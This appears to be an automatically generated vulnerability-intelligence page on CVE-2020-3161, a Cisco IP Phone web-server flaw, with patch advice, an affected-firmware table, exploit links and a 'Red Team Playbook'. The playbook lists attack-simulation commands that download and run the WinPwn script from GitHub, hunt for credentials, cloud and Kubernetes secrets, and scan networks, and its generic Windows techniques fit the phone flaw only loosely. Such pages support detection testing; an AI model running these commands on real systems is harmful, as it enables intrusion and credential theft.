CVE-2020-3161
Overview
This vulnerability is a remote code execution and denial of service flaw caused by improper input validation in the HTTP request handling of the embedded web server on Cisco IP Phones. The root cause lies in the web server's failure to sanitize crafted HTTP requests, which are processed without authentication. Affected components include the firmware web server on Cisco IP Phone models 8851 and 8865 across multiple firmware versions.
Vulnerability Description
A vulnerability in the web server for Cisco IP Phones could allow an unauthenticated, remote attacker to execute code with root privileges or cause a reload of an affected IP phone, resulting in a denial of service (DoS) condition. The vulnerability is due to a lack of proper input validation of HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web server of a targeted device. A successful exploit could allow the attacker to remotely execute code with root privileges or cause a reload of an affected IP phone, resulting in a DoS condition.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with root privileges on affected Cisco IP Phones or cause the devices to reload, resulting in a denial of service condition. No user interaction or credentials are required to trigger the exploit. This enables full system compromise, allowing attackers to control or disrupt telephony services, potentially impacting business communications and operational continuity.
Solution
Cisco has released security updates addressing this vulnerability in affected IP phone firmware versions. Administrators should apply the patches detailed in Cisco Security Advisory cisco-sa-voip-phones-rce-dos-rB6EeRXs, which covers firmware updates for Cisco IP Phone 8851 and 8865 models. The advisory provides version-specific remediation instructions and recommends immediate deployment of these firmware updates to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (31)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Ip Phone 8865 Firmware | 10.3\(1\)es14 |
cpe:2.3:o:cisco:ip_phone_8865_firmware:10.3\(1\)es14:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8865 Firmware | 11.0\(1\) |
cpe:2.3:o:cisco:ip_phone_8865_firmware:11.0\(1\):*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8865 Firmware | 11.0\(5\)sr1 |
cpe:2.3:o:cisco:ip_phone_8865_firmware:11.0\(5\)sr1:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8851 Firmware | 10.3\(1\)es14 |
cpe:2.3:o:cisco:ip_phone_8851_firmware:10.3\(1\)es14:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8851 Firmware | 11.0\(1\) |
cpe:2.3:o:cisco:ip_phone_8851_firmware:11.0\(1\):*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8851 Firmware | 11.0\(5\)sr1 |
cpe:2.3:o:cisco:ip_phone_8851_firmware:11.0\(5\)sr1:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 7841 Firmware | 11.0\(1\) |
cpe:2.3:o:cisco:ip_phone_7841_firmware:11.0\(1\):*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 7821 Firmware | 11.0\(1\) |
cpe:2.3:o:cisco:ip_phone_7821_firmware:11.0\(1\):*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8811 Firmware | 10.3\(1\)es14 |
cpe:2.3:o:cisco:ip_phone_8811_firmware:10.3\(1\)es14:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8811 Firmware | 11.0\(1\) |
cpe:2.3:o:cisco:ip_phone_8811_firmware:11.0\(1\):*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8811 Firmware | 11.0\(5\)sr1 |
cpe:2.3:o:cisco:ip_phone_8811_firmware:11.0\(5\)sr1:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8861 Firmware | 10.3\(1\)es14 |
cpe:2.3:o:cisco:ip_phone_8861_firmware:10.3\(1\)es14:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8861 Firmware | 11.0\(1\) |
cpe:2.3:o:cisco:ip_phone_8861_firmware:11.0\(1\):*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8861 Firmware | 11.0\(5\)sr1 |
cpe:2.3:o:cisco:ip_phone_8861_firmware:11.0\(5\)sr1:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8845 Firmware | 10.3\(1\)es14 |
cpe:2.3:o:cisco:ip_phone_8845_firmware:10.3\(1\)es14:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8845 Firmware | 11.0\(1\) |
cpe:2.3:o:cisco:ip_phone_8845_firmware:11.0\(1\):*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8845 Firmware | 11.0\(5\)sr1 |
cpe:2.3:o:cisco:ip_phone_8845_firmware:11.0\(5\)sr1:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 7861 Firmware | 11.0\(1\) |
cpe:2.3:o:cisco:ip_phone_7861_firmware:11.0\(1\):*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8841 Firmware | 10.3\(1\)es14 |
cpe:2.3:o:cisco:ip_phone_8841_firmware:10.3\(1\)es14:*:*:*:*:*:*:*
|
|
|
Cisco | Ip Phone 8841 Firmware | 11.0\(1\) |
cpe:2.3:o:cisco:ip_phone_8841_firmware:11.0\(1\):*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Cisco IP Phone 11.7 - Denial of service (PoC) | Jacob Baines | dos | hardware | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
abood05972/CVE-2020-3161
Cisco IP Phone 11.7 - Denial of Service (PoC)
|
abood05972 | 0 | 0 | 2020-12-31 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-3161 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-voip-phones-rce-dos-rB6EeRXs |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/157265/Cisco-IP-Phone-11.7-Denial-Of-Service.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-3161 |